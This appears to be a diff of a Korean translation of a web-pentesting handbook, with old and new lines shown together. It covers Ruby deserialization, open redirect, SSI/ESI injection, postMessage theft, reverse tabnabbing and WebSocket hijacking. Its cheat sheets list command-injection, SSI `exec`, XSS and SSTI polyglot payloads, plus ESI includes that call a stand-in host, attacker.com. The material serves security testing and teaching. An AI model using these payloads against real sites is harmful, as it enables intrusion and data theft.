해시 가능하지 않은 배열과 같은 값을 본문에 보내면 `_json`이라는 새로운 키에 추가됩니다. 그러나 공격자는 본문에 임의의 값을 가진 `_json`이라는 값을 설정할 수도 있습니다. 그런 다음, 예를 들어 백엔드가 매개변수의 진위를 확인하지만 `_json` 매개변수를 사용하여 어떤 작업을 수행하면 권한 우회가 발생할 수 있습니다.
해시 가능하지 않은 배열과 같은 값을 본문에 보내면 `_json`이라는 새로운 키에 추가됩니다. 그러나 공격자는 본문에 자신이 원하는 임의의 값으로 `_json`이라는 값을 설정할 수도 있습니다. 그런 다음, 예를 들어 백엔드가 매개변수의 진위를 확인하지만 `_json` 매개변수를 사용하여 어떤 작업을 수행하면, 권한 우회가 발생할 수 있습니다.
[Ruby _json 오염 페이지에서 더 많은 정보를 확인하세요](ruby-_json-pollution.md).
@ -864,7 +864,7 @@ candidate_methods.length() # Final number of methods=> 3595
객체를 직렬화하는 데 사용할 수 있는 다른 Ruby 라이브러리가 있으며, 따라서 불안전한 역직렬화 중에 RCE를 얻기 위해 악용될 수 있습니다. 다음 표는 이러한 라이브러리 중 일부와 역직렬화될 때 로드된 라이브러리에서 호출되는 메서드를 보여줍니다(기본적으로 RCE를 얻기 위해 악용할 함수):
<table data-header-hidden><thead><tr><th width="179"></th><th width="146"></th><th></th></tr></thead><tbody><tr><td><strong>라이브러리</strong></td><td><strong>입력 데이터</strong></td><td><strong>클래스 내에서 시작하는 메서드</strong></td></tr><tr><td>Marshal (Ruby)</td><td>Binary</td><td><code>_load</code></td></tr><tr><td>Oj</td><td>JSON</td><td><code>hash</code> (클래스는 해시(맵)의 키로 넣어야 함)</td></tr><tr><td>Ox</td><td>XML</td><td><code>hash</code> (클래스는 해시(맵)의 키로 넣어야 함)</td></tr><tr><td>Psych (Ruby)</td><td>YAML</td><td><code>hash</code> (클래스는 해시(맵)의 키로 넣어야 함)<br><code>init_with</code></td></tr><tr><td>JSON (Ruby)</td><td>JSON</td><td><code>json_create</code> ([json_create에 대한 주석은 끝에서 확인하세요](#table-vulnerable-sinks))</td></tr></tbody></table>
<table data-header-hidden><thead><tr><th width="179"></th><th width="146"></th><th></th></tr></thead><tbody><tr><td><strong>라이브러리</strong></td><td><strong>입력 데이터</strong></td><td><strong>클래스 내에서 시작하는 메서드</strong></td></tr><tr><td>Marshal (Ruby)</td><td>Binary</td><td><code>_load</code></td></tr><tr><td>Oj</td><td>JSON</td><td><code>hash</code> (클래스는 해시(맵)의 키로 넣어야 함)</td></tr><tr><td>Ox</td><td>XML</td><td><code>hash</code> (클래스는 해시(맵)의 키로 넣어야 함)</td></tr><tr><td>Psych (Ruby)</td><td>YAML</td><td><code>hash</code> (클래스는 해시(맵)의 키로 넣어야 함)<br><code>init_with</code></td></tr><tr><td>JSON (Ruby)</td><td>JSON</td><td><code>json_create</code> ([하단의 json_create에 대한 노트 참조](#table-vulnerable-sinks))</td></tr></tbody></table>
기본 예:
```ruby
@ -888,7 +888,7 @@ puts json_payload
# Sink vulnerable inside the code accepting user input as json_payload
Oj.load(json_payload)
```
Oj를 악용하려고 시도한 경우, `hash` 함수 내에서 `to_s`를 호출하는 가젯 클래스를 찾는 것이 가능했으며, 이는 spec을 호출하고, fetch_path를 호출하여 무작위 URL을 가져오도록 만들 수 있었습니다. 이는 이러한 종류의 비위생적인 역직렬화 취약점을 탐지하는 데 큰 도움이 됩니다.
Oj를 악용하려고 시도한 경우, `hash` 함수 내에서 `to_s`를 호출하는 가젯 클래스를 찾을 수 있었으며, 이는 spec을 호출하고, fetch_path를 호출하여 무작위 URL을 가져오도록 만들 수 있었습니다. 이는 이러한 종류의 비위생적인 역직렬화 취약점을 탐지하는 데 큰 도움이 됩니다.
```json
{
"^o": "URI::HTTP",

View File

@ -58,7 +58,7 @@ javascript://whitelisted.com?%a0alert%281%29
";alert(0);//
```
## Open Redirect svg 파일 업로드
```markup
```html
<code>
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<svg

View File

@ -8,7 +8,7 @@
> 이 **치트시트는 각 취약점에 대한 포괄적인 테스트 목록을 제안하지 않습니다**, 기본적인 것들만 포함되어 있습니다. 더 포괄적인 테스트를 원하신다면 제안된 각 취약점에 접근하세요.
> [!CAUTION]
> **XXE와 같은 Content-Type 의존 주입**은 찾을 수 없습니다. 일반적으로 xml 데이터를 전송하는 요청을 발견하면 직접 시도할 것입니다. **데이터베이스 주입**도 여기에는 없습니다. 일부 콘텐츠가 반영될 수 있지만, 이는 백엔드 DB 기술 및 구조에 크게 의존합니다.
> **XXE와 같은 Content-Type 의존 주입**은 찾을 수 없습니다. 일반적으로 xml 데이터를 전송하는 요청을 발견하면 직접 시도할 것입니다. **데이터베이스 주입**도 여기에는 없습니다. 일부 콘텐츠가 반영될 수 있지만 이는 백엔드 DB 기술 및 구조에 크게 의존합니다.
## Polygloths list
```python
@ -74,7 +74,7 @@ javascript:"/*'/*`/*--></noscript></title></textarea></style></template></noembe
`ls`
$(ls)
```
### 폴리글로스
### Polygloths
```bash
1;sleep${IFS}9;#${IFS}';sleep${IFS}9;#${IFS}";sleep${IFS}9;#${IFS}
/*$(sleep 5)`sleep 5``*/-sleep(5)-'/*$(sleep 5)`sleep 5` #*/-sleep(5)||'"||sleep(5)||"/*`*/
@ -91,7 +91,7 @@ $(ls)
## Dangling Markup
### Basic Tests
```markup
```html
<br><b><h1>THIS IS AND INJECTED TITLE </h1>
```
## [파일 포함/경로 탐색](../file-inclusion/index.html)
@ -130,24 +130,24 @@ javascript:alert(1)
## [서버 사이드 포함/엣지 사이드 포함](../server-side-inclusion-edge-side-inclusion-injection.md)
### 기본 테스트
```markup
```html
<!--#echo var="DATE_LOCAL" -->
<!--#exec cmd="ls" -->
<esi:include src=http://attacker.com/>
x=<esi:assign name="var1" value="'cript'"/><s<esi:vars name="$(var1)"/>>alert(/Chrome%20XSS%20filter%20bypass/);</s<esi:vars name="$(var1)"/>>
```
### 폴리글로스
```markup
```html
<!--#echo var="DATE_LOCAL" --><!--#exec cmd="ls" --><esi:include src=http://attacker.com/>x=<esi:assign name="var1" value="'cript'"/><s<esi:vars name="$(var1)"/>>alert(/Chrome%20XSS%20filter%20bypass/);</s<esi:vars name="$(var1)"/>>
```
## [서버 측 요청 위조](../ssrf-server-side-request-forgery/index.html)
Open Redirect에 사용되는 동일한 테스트를 여기서 사용할 수 있습니다.
Open Redirect에 사용 동일한 테스트를 여기서 사용할 수 있습니다.
## [서버 측 템플릿 주입](../ssti-server-side-template-injection/index.html)
### 기본 테스트
```markup
```html
${{<%[%'"}}%\
{{7*7}}
${7*7}
@ -162,24 +162,24 @@ ${{7*7}}
## [XSLT Server Side Injection](../xslt-server-side-injection-extensible-stylesheet-language-transformations.md)
### 기본 테스트
```markup
```html
<xsl:value-of select="system-property('xsl:version')" />
<esi:include src="http://10.10.10.10/data/news.xml" stylesheet="http://10.10.10.10//news_template.xsl"></esi:include>
```
### 폴리글로스
```markup
```html
<xsl:value-of select="system-property('xsl:version')" /><esi:include src="http://10.10.10.10/data/news.xml" stylesheet="http://10.10.10.10//news_template.xsl"></esi:include>
```
## XSS
### 기본 테스트
```markup
```html
" onclick=alert() a="
'"><img src=x onerror=alert(1) />
javascript:alert()
```
### Polygloths
```markup
```html
javascript:"/*'/*`/*--></noscript></title></textarea></style></template></noembed></script><html \" onmouseover=/*&lt;svg/*/onload=alert()//>
-->'"/></sCript><deTailS open x=">" ontoggle=(co\u006efirm)``>
jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0D%0A//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e

View File

@ -38,9 +38,9 @@ win[0].postMessage('{"__proto__":{"isAdmin":True}}', '*')
### iframe 공격 및 **targetOrigin**의 와일드카드
[**이 보고서**](https://blog.geekycat.in/google-vrp-hijacking-your-screenshots/)에서 설명한 바와 같이, **iframed**(X-Frame-Header 보호가 없음) 될 수 있는 페이지를 찾고 **와일드카드**(\*)를 사용하여 **postMessage**를 통해 **민감한** 메시지를 **전송하는** 경우, **iframe**의 **origin**을 **수정**하고 **민감한** 메시지를 당신이 제어하는 도메인으로 **유출**할 수 있습니다.\
페이지가 iframed 될 수 있지만 **targetOrigin**이 **와일드카드가 아닌 URL로 설정된 경우**, 이 **트릭은 작동하지 않습니다**.
```markup
[**이 보고서**](https://blog.geekycat.in/google-vrp-hijacking-your-screenshots/)에서 설명한 바와 같이, **iframed**(X-Frame-Header 보호가 없음)될 수 있는 페이지를 찾고 **와일드카드**(\*)를 사용하여 **postMessage**를 통해 **민감한** 메시지를 **전송하는** 경우, **iframe**의 **origin**을 **수정**하고 **민감한** 메시지를 당신이 제어하는 도메인으로 **유출**할 수 있습니다.\
페이지가 iframed될 수 있지만 **targetOrigin**이 **와일드카드가 아닌 URL로 설정된 경우**, 이 **트릭은 작동하지 않습니다**.
```html
<html>
<iframe src="https://docs.google.com/document/ID" />
<script>
@ -95,14 +95,14 @@ In order to **find event listeners** in the current page you can:
"https://app-sj17.marketo.com".indexOf("https://app-sj17.ma")
```
- `String.prototype.search()`**`search()`** 메서드는 문자열이 아닌 정규 표현식을 위해 설계되었습니다. 정규 표현식이 아닌 것을 전달하면 암묵적으로 정규 표현식으로 변환되어 메서드가 잠재적으로 안전하지 않게 됩니다. 이는 정규 표현식에서 점(.)이 와일드카드로 작용하여 특별히 작된 도메인으로 검증을 우회할 수 있게 합니다. 예를 들어:
- `String.prototype.search()`**`search()`** 메서드는 문자열이 아닌 정규 표현식을 위해 설계되었습니다. 정규 표현식이 아닌 것을 전달하면 암묵적으로 정규 표현식으로 변환되어 메서드가 잠재적으로 안전하지 않게 됩니다. 이는 정규 표현식에서 점(.)이 와일드카드로 작용하여 특별히 작된 도메인으로 검증을 우회할 수 있게 합니다. 예를 들어:
```javascript
"https://www.safedomain.com".search("www.s.fedomain.com")
```
- **`match()`** 함수는 `search()`와 유사하게 정규 표현식을 처리합니다. 정규 표현식이 잘못 구성되면 우회에 취약할 수 있습니다.
- **`escapeHtml`** 함수는 문자를 이스케이프하여 입력을 정화하는 데 사용됩니다. 그러나 새로운 이스케이프된 객체를 생성하지 않고 기존 객체의 속성을 덮어씁니다. 이 동작은 악용될 수 있습니다. 특히, 객체를 조작하여 그 속성이 `hasOwnProperty`를 인식하지 못하게 할 수 있다면, `escapeHtml`은 예상대로 작동하지 않을 것입니다. 이는 아래의 예시에서 보여집니다:
- **`escapeHtml`** 함수는 문자를 이스케이프하여 입력을 정화하는 데 사용됩니다. 그러나 새로운 이스케이프된 객체를 생성하지 않고 기존 객체의 속성을 덮어씌우기 때문에 이 동작은 악용될 수 있습니다. 특히, 객체를 조작하여 그 제어 속성이 `hasOwnProperty`를 인식하지 못하게 할 수 있다면, `escapeHtml`은 예상대로 작동하지 않을 것입니다. 이는 아래의 예시에서 보여집니다:
- 예상 실패:
@ -120,7 +120,7 @@ result = u(new Error("'\"<b>\\"))
result.message // "'"<b>\"
```
이 취약성의 맥락에서, `File` 객체는 읽기 전용 `name` 속성으로 인해 특히 악용될 수 있습니다. 이 속성은 템플릿에서 사용될 때 `escapeHtml` 함수에 의해 정화되지 않아 잠재적인 보안 위험을 초래합니다.
이 취약성의 맥락에서 `File` 객체는 읽기 전용 `name` 속성으로 인해 특히 악용될 수 있습니다. 이 속성은 템플릿에서 사용될 때 `escapeHtml` 함수에 의해 정화되지 않아 잠재적인 보안 위험을 초래합니다.
- JavaScript의 `document.domain` 속성은 스크립트에 의해 설정되어 도메인을 단축할 수 있으며, 이는 동일한 부모 도메인 내에서 보다 느슨한 동일 출처 정책 시행을 허용합니다.
@ -128,9 +128,9 @@ result.message // "'"<b>\"
**sandboxed iframe** 내에 웹 페이지를 임베드할 때 %%%%%%, iframe의 출처가 null로 설정된다는 점을 이해하는 것이 중요합니다. 이는 **sandbox 속성** 및 보안과 기능에 대한 그 함의와 관련하여 특히 중요합니다.
**`allow-popups`**를 sandbox 속성에 지정하면 iframe 내에서 열리는 모든 팝업 창은 부모의 sandbox 제한을 상속받습니다. 이는 **`allow-popups-to-escape-sandbox`** 속성이 포함되지 않는 한, 팝업 창의 출처도 `null`로 설정되어 iframe의 출처와 일치하게 됨을 의미합니다.
**`allow-popups`**를 sandbox 속성에 지정하면 iframe 내에서 열리는 모든 팝업 창은 부모의 sandbox 제한을 상속받습니다. 이는 **`allow-popups-to-escape-sandbox`** 속성이 포함되지 않는 한 팝업 창의 출처도 `null`로 설정된다는 것을 의미합니다.
따라서 이러한 조건에서 팝업이 열리고 iframe에서 팝업으로 **`postMessage`**를 사용하여 메시지를 보낼 때, 송신 및 수신 양쪽의 출처가 모두 `null`로 설정됩니다. 이 상황은 **`e.origin == window.origin`**이 true로 평가되는 시나리오를 초래합니다 (`null == null`), 왜냐하면 iframe과 팝업이 모두 `null`이라는 동일한 출처 값을 공유하기 때문입니다.
따라서 이러한 조건에서 팝업이 열리고 iframe에서 팝업으로 **`postMessage`**를 사용하여 메시지가 전송되면, 송신 및 수신 양쪽의 출처가 `null`로 설정됩니다. 이 상황은 **`e.origin == window.origin`**이 true로 평가되는 시나리오를 초래합니다 (`null == null`), 왜냐하면 iframe과 팝업이 동일한 출처 값인 `null`을 공유하기 때문입니다.
더 많은 정보는 **읽어보세요**:
@ -140,7 +140,7 @@ bypassing-sop-with-iframes-1.md
### e.source 우회
메시지가 스크립트가 청취하고 있는 동일한 창에서 온 것인지 확인할 수 있습니다 (특히 **브라우저 확장의 콘텐츠 스크립트**가 메시지가 동일한 페이지에서 전송되었는지 확인하는 데 흥미롭습니다):
메시지가 스크립트가 수신 대기 중인 동일한 창에서 온 것인지 확인할 수 있습니다 (특히 **브라우저 확장의 콘텐츠 스크립트**가 메시지가 동일한 페이지에서 전송되었는지 확인하는 데 흥미롭습니다):
```javascript
// If its not, return immediately.
if (received_message.source !== window) {
@ -159,7 +159,7 @@ bypassing-sop-with-iframes-2.md
이러한 공격을 수행하기 위해서는 이상적으로 **피해자 웹 페이지**를 `iframe` 안에 넣을 수 있어야 합니다. 그러나 `X-Frame-Header`와 같은 일부 헤더는 그러한 **동작**을 **방지**할 수 있습니다.\
이러한 시나리오에서는 덜 은밀한 공격을 여전히 사용할 수 있습니다. 취약한 웹 애플리케이션에 새 탭을 열고 그와 통신할 수 있습니다:
```markup
```html
<script>
var w=window.open("<url>")
setTimeout(function(){w.postMessage('text here','*');}, 2000);
@ -167,7 +167,7 @@ setTimeout(function(){w.postMessage('text here','*');}, 2000);
```
### 자식에게 전송된 메시지 훔치기: 메인 페이지 차단
다음 페이지에서는 **메인** 페이지를 차단한 후 **자식 iframe**에 전송된 **민감한 postmessage 데이터**를 어떻게 훔칠 수 있는지 보여줍니다. 이 과정에서 **자식**의 **XSS**를 악용하여 데이터가 수신되기 전에 **유출**합니다:
다음 페이지에서는 **메인** 페이지를 차단한 후 **자식 iframe**에 전송된 **민감한 postmessage 데이터**를 어떻게 훔칠 수 있는지 보여줍니다. **자식**에서 **XSS**를 악용하여 데이터가 수신되기 전에 **데이터를 유출**합니다:
{{#ref}}
blocking-main-page-to-steal-postmessage.md
@ -175,7 +175,7 @@ blocking-main-page-to-steal-postmessage.md
### iframe 위치 수정으로 메시지 훔치기
X-Frame-Header가 없는 웹페이지를 iframe으로 삽입할 수 있다면, **자식 iframe****위치****변경**할 수 있습니다. 만약 **와일드카드**를 사용하여 전송된 **postmessage**를 수신하고 있다면, 공격자는 그 iframe의 **출처**를 자신이 **제어하는** 페이지로 **변경**하 메시지를 **훔칠** 수 있습니다:
X-Frame-Header가 없는 웹페이지를 iframe으로 삽입할 수 있다면, **자식 iframe의 위치를 변경**할 수 있습니다. 만약 **와일드카드**를 사용하여 전송된 **postmessage**를 수신하고 있다면, 공격자는 그 iframe의 **출처**를 자신이 **제어하는** 페이지로 **변경**하 메시지를 **훔칠** 수 있습니다:
{{#ref}}
steal-postmessage-modifying-iframe-location.md
@ -183,11 +183,11 @@ steal-postmessage-modifying-iframe-location.md
### postMessage를 통한 프로토타입 오염 및/또는 XSS
`postMessage`를 통해 전송된 데이터가 JS에 의해 실행되는 시나리오에서는 **페이지****iframe**으로 삽입하고 **프로토타입 오염/XSS**를 **악용**하여 `postMessage`를 통해 익스플로잇을 전송할 수 있습니다.
`postMessage`를 통해 전송된 데이터가 JS에 의해 실행되는 시나리오에서는 **페이지를 iframe**으로 삽입하고 **프로토타입 오염/XSS**를 **postMessage**를 통해 악용할 수 있습니다.
[https://jlajara.gitlab.io/web/2020/07/17/Dom_XSS_PostMessage_2.html](https://jlajara.gitlab.io/web/2020/07/17/Dom_XSS_PostMessage_2.html)에서 **postMessage**를 통한 **XSS**에 대한 **매우 잘 설명된** 사례를 찾을 수 있습니다.
`iframe`으로의 `postMessage`를 통한 **프로토타입 오염 및 XSS**를 악용하는 익스플로잇의 예:
`iframe`으로의 `postMessage`를 통한 **프로토타입 오염 및 XSS**를 악용하는 예:
```html
<html>
<body>

View File

@ -2,12 +2,12 @@
# 설명
**공격자**가 **피해자**가 클릭할 **`<a`** 태그의 **`href`** 인자를 **제어**할 수 있는 상황에서, **공격자**는 이 **링크**를 자신의 제어 하에 있는 웹(즉, **악성** **웹사이트**)으로 **지정**합니다. 그런 다음, **피해자가 링크를 클릭**하고 공격자의 웹사이트에 접근하면, 이 **악성** **웹사이트**는 자바스크립트 객체 **`window.opener`**를 통해 **원래** **페이지**를 **제어**할 수 있습니다.\
페이지에 **`rel="opener"`**가 없지만 `target="_blank"`가 포함되어 있고 **`rel="noopener"`**가 없으면, 또한 취약할 수 있습니다.
**공격자**가 피해자가 클릭할 **`<a`** 태그의 **`href`** 인자를 **제어**할 수 있는 상황에서, **공격자**는 이 **링크**를 자신의 제어 하에 있는 웹(악성 웹사이트)으로 **지정**합니다. 그런 다음, **피해자가 링크를 클릭**하고 공격자의 웹사이트에 접근하면, 이 **악성 웹사이트**는 자바스크립트 객체 **`window.opener`**를 통해 **원래** **페이지**를 **제어**할 수 있습니다.\
페이지에 **`rel="opener"`**가 없지만 `target="_blank"`가 포함되어 있고 `rel="noopener"`가 없으면, 또한 취약할 수 있습니다.
이 행동을 악용하는 일반적인 방법은 `window.opener.location = https://attacker.com/victim.html`을 통해 **원래 웹의 위치**를 공격자가 제어하는 웹으로 **변경**하는 것입니다. 이 웹은 **원래 웹사이트**처럼 **보이도록** 하여, **로그인** **양식**을 **모방**하고 사용자에게 자격 증명을 요청할 수 있습니다.
이 행동을 악용하는 일반적인 방법은 `window.opener.location = https://attacker.com/victim.html`을 통해 원래 웹의 위치를 공격자가 제어하는 웹으로 **변경**하는 것입니다. 이 웹은 **원래 웹사이트**처럼 **보이도록** 하여 원래 웹사이트의 **로그인** **양식**을 **모방**하고 사용자에게 자격 증명을 요청할 수 있습니다.
그러나 **공격자가 이제 원래 웹사이트의 객체를 제어할 수 있으므로**, 그는 이를 다른 방식으로 악용하여 **은밀한 공격**을 수행할 수 있습니다(아마도 자바스크립트 이벤트를 수정하여 그가 제어하는 서버로 정보를 유출할 수 있겠죠?).
그러나 **공격자가 이제 원래 웹사이트의 윈도우 객체를 제어할 수 있으므로**, 그는 이를 다른 방식으로 악용하여 **은밀한 공격**을 수행할 수 있습니다(아마도 자바스크립트 이벤트를 수정하여 그가 제어하는 서버로 정보를 유출할 수 있겠죠?).
# 개요
@ -25,9 +25,9 @@
## 예제 <a href="#examples" id="examples"></a>
다음 페이지를 폴더에 생성하고 `python3 -m http.server`로 웹 서버를 실행합니다.\
폴더에 다음 페이지를 생성하고 `python3 -m http.server`로 웹 서버를 실행합니다.\
그런 다음, **접근** `http://127.0.0.1:8000/`vulnerable.html, **클릭**하여 **링크**를 클릭하고 **원래** **웹사이트**의 **URL**이 **변경**되는 것을 주목하세요.
```markup:vulnerable.html
```html:vulnerable.html
<!DOCTYPE html>
<html>
<body>
@ -37,7 +37,7 @@
</html>
```
```markup:malicious.html
```html:malicious.html
<!DOCTYPE html>
<html>
<body>
@ -48,7 +48,7 @@ window.opener.location = "http://127.0.0.1:8000/malicious_redir.html";
</html>
```
```markup:malicious_redir.html
```html:malicious_redir.html
<!DOCTYPE html>
<html>
<body>
@ -58,12 +58,12 @@ window.opener.location = "http://127.0.0.1:8000/malicious_redir.html";
```
## Accessible properties <a href="#accessible-properties" id="accessible-properties"></a>
**교차 출처** 접근이 발생하는 시나리오에서, **opener** JavaScript 객체 참조로 지칭되는 **window** JavaScript 클래스 인스턴스의 속성에 대해 악의적인 사이트가 접근할 수 있는 것은 다음과 같이 제한됩니다:
**교차 출처** 접근이 발생하는 시나리오에서, **opener** JavaScript 객체 참조로 지칭되는 **window** JavaScript 클래스 인스턴스의 속성은 악의적인 사이트가 접근할 수 있는 것으로 제한됩니다:
- **`opener.closed`**: 이 속성은 창이 닫혔는지 여부를 확인하기 위해 접근되며, 불리언 값을 반환합니다.
- **`opener.frames`**: 이 속성은 현재 창 내의 모든 iframe 요소에 대한 접근을 제공합니다.
- **`opener.length`**: 현재 창에 존재하는 iframe 요소의 수를 이 속성이 반환합니다.
- **`opener.opener`**: 현재 창을 연 창에 대한 참조를 이 속성을 통해 얻을 수 있습니다.
- **`opener.opener`**: 이 속성을 통해 현재 창을 연 창에 대한 참조를 얻을 수 있습니다.
- **`opener.parent`**: 이 속성은 현재 창의 부모 창을 반환합니다.
- **`opener.self`**: 이 속성은 현재 창 자체에 대한 접근을 제공합니다.
- **`opener.top`**: 이 속성은 가장 상위의 브라우저 창을 반환합니다.

View File

@ -15,7 +15,7 @@ SSI (서버 사이드 포함)는 **HTML 페이지에 배치되고, 페이지가
`Tuesday, 15-Jan-2013 19:28:54 EST`
SSI를 사용할 시점과 페이지를 완전히 프로그램에 의해 생성할 시점의 결정은 일반적으로 페이지의 정적 부분과 페이지가 제공될 때마다 재계산해야 하는 부분의 양에 따라 달라집니다. SSI는 위에 표시된 현재 시간과 같은 작은 정보 조각을 추가하는 훌륭한 방법입니다. 그러나 페이지의 대부분이 제공될 때 생성된다면, 다른 솔루션을 찾아야 합니다.
SSI를 사용할 시점과 페이지를 완전히 프로그램에 의해 생성할 시점의 결정은 일반적으로 페이지의 정적 부분과 페이지가 제공될 때마다 재계산해야 하는 부분의 양에 따라 달라집니다. SSI는 위에 표시된 현재 시간과 같은 작은 정보 조각을 추가하는 훌륭한 방법입니다. 그러나 페이지의 대부분이 제공될 때 생성된다면, 다른 해결책을 찾아야 합니다.
웹 애플리케이션이 **`.shtml`, `.shtm` 또는 `.stm`** 확장자를 가진 파일을 사용한다면 SSI의 존재를 추론할 수 있지만, 그것만이 전부는 아닙니다.
@ -87,14 +87,14 @@ hell<!--esi-->o
// Valid for Akamai, sends debug information in the response
<esi:debug/>
```
### ESI 취약점 이용
### ESI 취약점
[GoSecure에서 생성한](https://www.gosecure.net/blog/2018/04/03/beyond-xss-edge-side-include-injection/) 표는 지원되는 기능에 따라 다양한 ESI 지원 소프트웨어에 대해 시도할 수 있는 가능한 공격을 이해하는 데 도움이 됩니다:
- **Includes**: `<esi:includes>` 지시어를 지원합니다.
- **Vars**: `<esi:vars>` 지시어를 지원합니다. XSS 필터를 우회하는 데 유용합니다.
- **Cookie**: 문서 쿠키는 ESI 엔진에 접근할 수 있습니다.
- **Upstream Headers Required**: 상위 애플리케이션이 헤더를 제공하지 않는 한 대체 애플리케이션은 ESI 문장을 처리하지 않습니다.
- **Upstream Headers Required**: 상위 애플리케이션이 헤더를 제공하지 않으면 대체 애플리케이션은 ESI 문장을 처리하지 않습니다.
- **Host Allowlist**: 이 경우 ESI 포함은 허용된 서버 호스트에서만 가능하므로, 예를 들어 SSRF는 해당 호스트에 대해서만 가능합니다.
| **소프트웨어** | **Includes** | **Vars** | **Cookies** | **Upstream Headers Required** | **Host Whitelist** |
@ -139,11 +139,11 @@ Use <!--esi--> to bypass WAFs:
#### Private Local File
이것을 "Local File Inclusion"과 혼동하지 마십시오:
```markup
```html
<esi:include src="secret.txt">
```
#### CRLF
```markup
```html
<esi:include src="http://anything.com%0d%0aX-Forwarded-For:%20127.0.0.1%0d%0aJunkHeader:%20JunkValue/"/>
```
#### Open Redirect

View File

@ -8,7 +8,7 @@ WebSocket 연결은 초기 **HTTP** 핸드셰이크를 통해 설정되며, **
### Establishment of WebSocket Connections
WebSocket 연결 설정에 대한 자세한 설명은 [**여기**](https://infosecwriteups.com/cross-site-websocket-hijacking-cswsh-ce2a6b0747fc)에서 확인할 수 있습니다. 요약하자면, WebSocket 연결은 일반적으로 클라이언트 측 JavaScript를 통해 시작됩니다.
WebSocket 연결 설정하는 방법에 대한 자세한 설명은 [**여기**](https://infosecwriteups.com/cross-site-websocket-hijacking-cswsh-ce2a6b0747fc)에서 확인할 수 있습니다. 요약하자면, WebSocket 연결은 일반적으로 클라이언트 측 JavaScript를 통해 시작됩니다.
```javascript
var ws = new WebSocket("wss://normal-website.com/ws")
```
@ -35,14 +35,14 @@ Sec-WebSocket-Accept: 0FFP+2nmNIf/h+4BP36k9uzrYGk=
```
연결이 설정되면 양방향으로 메시지 교환을 위해 열려 있습니다.
**WebSocket 핸드셰이크의 주요 포인트:**
**WebSocket 핸드셰이크의 주요 사항:**
- `Connection``Upgrade` 헤더는 WebSocket 핸드셰이크의 시작을 알립니다.
- `Sec-WebSocket-Version` 헤더는 원하는 WebSocket 프로토콜 버전을 나타내며, 일반적으로 `13`입니다.
- Base64로 인코딩된 무작위 값이 `Sec-WebSocket-Key` 헤더에 전송되어 각 핸드셰이크가 고유하도록 보장하며, 이는 캐싱 프록시와 관련된 문제를 방지하는 데 도움이 됩니다. 이 값은 인증을 위한 것이 아니라 응답이 잘못 구성된 서버나 캐시에서 생성되지 않았음을 확인하기 위한 것입니다.
- 서버의 응답에 있는 `Sec-WebSocket-Accept` 헤더는 `Sec-WebSocket-Key`의 해시로, WebSocket 연결을 열려는 서버의 의도를 검증합니다.
- 서버의 응답에 있는 `Sec-WebSocket-Accept` 헤더는 `Sec-WebSocket-Key`의 해시로, 서버가 WebSocket 연결을 열겠다는 의도를 검증합니다.
이러한 기능은 핸드셰이크 프로세스가 안전하고 신뢰할 수 있도록 보장하며, 효율적인 실시간 통신을 위한 길을 열어줍니다.
이러한 기능은 핸드셰이크 프로세스가 안전하고 신뢰할 수 있도록 보장하 효율적인 실시간 통신을 위한 길을 열어줍니다.
### Linux 콘솔
@ -68,7 +68,7 @@ websocat -E --insecure --text ws-listen:0.0.0.0:8000 wss://10.10.10.10:8000 -v
### Websocket Debug tools
- **Burp Suite**는 일반 HTTP 통신과 매우 유사한 방식으로 MitM 웹소켓 통신을 지원합니다.
- [**socketsleuth**](https://github.com/snyk/socketsleuth) **Burp Suite 확장**은 **히스토리**를 가져오고, **가로채기 규칙**을 설정하고, **일치 및 교체** 규칙을 사용하고, **Intruder** 및 **AutoRepeater**를 사용하는 등 Burp에서 웹소켓 통신을 더 잘 관리할 수 있게 해줍니다.
- [**socketsleuth**](https://github.com/snyk/socketsleuth) **Burp Suite 확장**은 **히스토리**를 가져오고, **가로채기 규칙**을 설정하고, **일치 및 교체** 규칙을 사용하고, **Intruder** 및 **AutoRepeater**를 사용하 Burp에서 웹소켓 통신을 더 잘 관리할 수 있게 해줍니다.
- [**WSSiP**](https://github.com/nccgroup/wssip)**:** "**WebSocket/Socket.io Proxy**"의 약자로, Node.js로 작성된 이 도구는 클라이언트와 서버 간의 모든 WebSocket 및 Socket.IO 통신을 **캡처, 가로채기, 사용자 정의** 메시지를 전송하고 볼 수 있는 사용자 인터페이스를 제공합니다.
- [**wsrepl**](https://github.com/doyensec/wsrepl)는 침투 테스트를 위해 특별히 설계된 **대화형 웹소켓 REPL**입니다. 이는 **들어오는 웹소켓 메시지를 관찰하고 새로운 메시지를 전송**할 수 있는 인터페이스를 제공하며, 이 통신을 **자동화**하기 위한 사용하기 쉬운 프레임워크를 제공합니다.
- [**https://websocketking.com/**](https://websocketking.com/)는 **웹소켓**을 사용하여 다른 웹과 통신하는 **웹**입니다.
@ -76,7 +76,7 @@ websocat -E --insecure --text ws-listen:0.0.0.0:8000 wss://10.10.10.10:8000 -v
## Websocket Lab
[**Burp-Suite-Extender-Montoya-Course**](https://github.com/federicodotta/Burp-Suite-Extender-Montoya-Course)에서 웹소켓을 사용하여 웹을 시작하는 코드를 찾을 수 있으며, [**이 게시물**](https://security.humanativaspa.it/extending-burp-suite-for-fun-and-profit-the-montoya-way-part-3/)에서 설명을 찾을 수 있습니다.
[**Burp-Suite-Extender-Montoya-Course**](https://github.com/federicodotta/Burp-Suite-Extender-Montoya-Course)에서 웹소켓을 사용하여 웹을 시작하는 코드를 제공하며, [**이 게시물**](https://security.humanativaspa.it/extending-burp-suite-for-fun-and-profit-the-montoya-way-part-3/)에서 설명을 찾을 수 있습니다.
## Cross-site WebSocket hijacking (CSWSH)
@ -88,8 +88,8 @@ websocat -E --insecure --text ws-listen:0.0.0.0:8000 wss://10.10.10.10:8000 -v
**웹소켓** 연결을 **설정할 때** **쿠키**가 **서버**에 **전송**된다는 점에 유의하십시오. **서버**는 이를 사용하여 **전송된 쿠키**를 기반으로 각 **특정** **사용자**와 그의 **웹소켓** **세션**을 **연관**시킬 수 있습니다.
그런 다음, 예를 들어 **웹소켓** **서버**가 사용자의 대화 **히스토리**를 **전송**하는 경우, "**READY"**라는 메시지가 전송되면, **단순 XSS**를 통해 연결을 설정하면 ( **쿠키**가 피해자 사용자를 인증하기 위해 **자동으로 전송**됨) "**READY**"를 전송하**대화**의 히스토리를 **가져올** 수 있습니다.
```markup
